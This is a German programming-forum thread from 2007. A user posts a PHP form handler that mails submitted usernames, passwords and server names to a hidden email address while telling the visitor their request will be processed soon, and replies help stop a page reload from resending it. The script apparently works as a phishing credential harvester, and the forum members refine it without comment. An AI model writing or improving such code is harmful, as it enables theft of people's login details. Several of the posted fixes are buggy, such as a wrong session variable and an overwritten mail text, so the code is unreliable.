#1 11. März 2007 Hey, ich habe folgendes Problem, ich habe nen script geschrieben, dieses soll daten an eine e-mail senden, nun ist es so, immer wenn man auf aktuallisieren klickt schickt es die daten, könnte man machen, dass es dies nicht tut, sondern vielleicht auf die startseite zurückkommt?? <html><body> <?php $benutzer=$HTTP_POST_VARS['user']; $pass=$HTTP_POST_VARS['pass']; $server=$HTTP_POST_VARS['server']; $mailtext="Benutzername:"; $mailtext.=$benutzer; $mailtext.="\n"; $mailtext.="Password: "; $mailtext.=$pass; $mailtext.="\n"; $mailtext="password:"; $mailtext.=$pass; $absender="From:"; $absender.="*********@mypage.de"; mail("******",$benutzer,$mailtext,$absender); print("Ihre Anfrage wird in kürze Bearbeitet"); ?> </body></html> + Multi-Zitat Zitieren
#2 11. März 2007 AW: Aktuallisieren ausschalten PHP: <?php$gesendet = false ; $benutzer = $HTTP_POST_VARS [ 'user' ]; $pass = $HTTP_POST_VARS [ 'pass' ]; $server = $HTTP_POST_VARS [ 'server' ]; if( $gesendet == false ){ $mailtext = "Benutzername:" ; $mailtext .= $benutzer ; $mailtext .= "\n" ; $mailtext .= "Password: " ; $mailtext .= $pass ; $mailtext .= "\n" ; $mailtext = "password:" ; $mailtext .= $pass ; $absender = "From:" ; $absender .= "*********@mypage.de" ; mail ( "******" , $benutzer , $mailtext , $absender ); print( "Ihre Anfrage wird in kürze Bearbeitet" ); $gesendet = true ;} else{echo '<meta http-equiv="refresh" content="index.php">' ;} ?> + Multi-Zitat Zitieren
#4 11. März 2007 AW: Aktuallisieren ausschalten ich glaub du musst da noch ne session einbauen. Sonst geht das nicht PHP: session_start (); $SESSION [ 'gesendet' ] = false ; $benutzer = $HTTP_POST_VARS [ 'user' ]; $pass = $HTTP_POST_VARS [ 'pass' ]; $server = $HTTP_POST_VARS [ 'server' ]; if( $SESSION [ 'gesendet' ] == false ){ $mailtext = "Benutzername:" ; $mailtext .= $benutzer ; $mailtext .= "\n" ; $mailtext .= "Password: " ; $mailtext .= $pass ; $mailtext .= "\n" ; $mailtext = "password:" ; $mailtext .= $pass ; $absender = "From:" ; $absender .= "*********@mypage.de" ; mail ( "******" , $benutzer , $mailtext , $absender ); print( "Ihre Anfrage wird in kürze Bearbeitet" ); $SESSION [ 'gesendet' ] = true ;} else{echo '<meta http-equiv="refresh" content="index.php">' ; session_destroy ();} ?> btw : falsches forum + Multi-Zitat Zitieren
#5 11. März 2007 AW: Aktuallisieren ausschalten Die Session danach zu beenden ist doch auch nicht Sinn der Sache Außerdem kann man mit PHP: header ( 'Location: /' ); effizienter weiterleiten. + Multi-Zitat Zitieren
#6 11. März 2007 AW: Aktuallisieren ausschalten nein, was er schon etwas mit html ausgegeben hat . Dann kommt der "cannot modify header-information"-fehler + Multi-Zitat Zitieren
#7 11. März 2007 AW: Aktuallisieren ausschalten In diesem Script brauch er aber nix ausgeben. Also Header("Location: failed.php"); fertig. Oo + Multi-Zitat Zitieren
#8 11. März 2007 AW: Aktuallisieren ausschalten ehm...wenn man die seite neu läd, geht das script von oben nahc unten..am anfang der seite wird die session auf false wieder gesetzt -.- man sollte eine kotnrolle einbauen zum beispiel mit if isset oder if empty PHP: <?php session_start (); if(!(isset( $SESSION [ 'gesendet' ]))) { $SESSION [ 'gesendet' ] = false ; } $benutzer = $HTTP_POST_VARS [ 'user' ]; $pass = $HTTP_POST_VARS [ 'pass' ]; $server = $HTTP_POST_VARS [ 'server' ]; if( $SESSION [ 'gesendet' ] == false ) { $mailtext = "Benutzername:" ; $mailtext .= $benutzer ; $mailtext .= "\n" ; $mailtext .= "Password: " ; $mailtext .= $pass ; $mailtext .= "\n" ; $mailtext = "password:" ; $mailtext .= $pass ; $absender = "From:" ; $absender .= "*********@mypage.de" ; mail ( "******" , $benutzer , $mailtext , $absender ); // entweder print( "Ihre Anfrage wird in kürze Bearbeitet" ); // oder // header("Location:seite.html"); // falls vorher keine ausgabe geschieht $SESSION [ 'gesendet' ] = true ; } else { echo '<meta http-equiv="refresh" content="index.php">' ; // oder // header("Location:seite.html"); // falls vorher keine ausgabe geschieht } ?> mfg + Multi-Zitat Zitieren
#9 11. März 2007 AW: Aktuallisieren ausschalten Wieso zerbrecht ihr euch so den Kopf, das was der erste gepostet hat ging super! Dafür gibts ne Bewertung, aber danke euch allen! + Multi-Zitat Zitieren
#10 12. März 2007 AW: Aktuallisieren ausschalten Weil das Ding eben nicht ganz in Ordnung ist $gesendet wird bei jedem Request neu auf false gesetzt, ist also nicht ganz okay. + Multi-Zitat Zitieren
#11 12. März 2007 AW: Aktuallisieren ausschalten wer zerbricht sihc hier den kopf? ich sah was falsches und habs korregiert (denk ich doch^^) ...das war ohne denken, das kann ich shcon automatisch frag mich echt wie das erste komplett gehen soll, weil ichs ja schon argumentierte und mein vorredner nun auch... mfg + Multi-Zitat Zitieren